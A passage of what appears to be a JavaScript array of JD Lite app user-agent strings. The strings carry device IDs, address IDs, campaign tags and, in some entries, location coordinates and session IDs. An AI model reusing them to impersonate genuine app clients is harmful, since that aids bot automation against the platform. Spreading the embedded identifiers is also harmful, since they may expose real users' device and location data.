'jdltapp;iPhone;3.7.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/F9FD7728-2956-4DD1-8EDD-58B07950864C;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;ADID/5D306F0D-A131-4B26-947E-166CCB9BFFFF;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad8,9;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.20;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/d9f5ddaa0160a20f32fb2c8bfd174fae7993c1b4|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.5;Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/31548A9C-8A01-469A-B148-E7D841C91FD0;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.5;apprpd/;ref/JDLTSubMainPageViewController;psq/4;ads/;psn/a858fb4b40e432ea32f80729916e6c3e910bb922|12;jdv/0|direct|-|none|-|1613898710373|1613898712;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;3346332626262353-1666434336539336;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;8363834353530333132333132373-43D2930366035323639333662383;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;1343467336264693-3343562673463613;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;8353636393732346-6646931673935346;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;6d343c58764a908d4fa56609da4cb3a5cc1396d3;network/wifi;ADID/4965D884-3E61-4C4E-AEA7-9A8CE3742DA7;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.6.1;4606ddccdfe8f343f8137de7fea7f91fc4aef3a3;network/4g;ADID/C6FB6E20-D334-45FA-818A-7A4C58305202;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone10,1;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/4606ddccdfe8f343f8137de7fea7f91fc4aef3a3|5;jdv/0|iosapp|t_335139774|liteshare|Qqfriends|1614206359106|1614206366;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.6.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;3b6e79334551fc6f31952d338b996789d157c4e8;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/138051400;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/14.34;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/12;ads/;psn/3b6e79334551fc6f31952d338b996789d157c4e8|46;jdv/0|kong|t_1001707023_|jingfen|e80d7173a4264f4c9a3addcac7da8b5d|1613837384708|1613858760;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;1346235693831363-2373837393932673;network/wifi;model/LYA-AL00;addressid/3321567203;aid/1d2e9816278799b7;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/1436;psn/45VUZFTZJkhP5fAXbeBoQ0 O2GCB I|7;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.8;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1614066210320|1614066219;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/huawei;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;c2a8854e622a1b17a6c56c789f832f9d78ef1ba7;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/c2a8854e622a1b17a6c56c789f832f9d78ef1ba7|6;jdv/0|direct|-|none|-|1613541016735|1613823566;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;;network/wifi;model/MIX 2S;addressid/;aid/f87efed6d9ed3c65;oaid/94739128ef9dd245;osVer/28;appBuild/1436;psn/R7wD/OWkQjYWxax1pDV6kTIDFPJCUid7C/nl2hHnUuI=|3;psq/13;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/1.42;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2S Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/3g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/2813715704;pv/67.38;apprpd/MyJD_Main;ref/https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F2ynE8QDtc2svd36VowmYWBzzDdK6%2Findex.html%3Flng%3D103.957532%26lat%3D30.626962%26sid%3D4fe8ef4283b24723a7bb30ee87c18b2w%26un_area%3D22_1930_49324_52512;psq/4;ads/;psn/5aef178f95931bdbbde849ea9e2fc62b18bc5829|127;jdv/0|direct|-|none|-|1612588090667|1613822580;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/3104834020;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/c633e62b5a4ad0fdd93d9862bdcacfa8f3ecef63|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 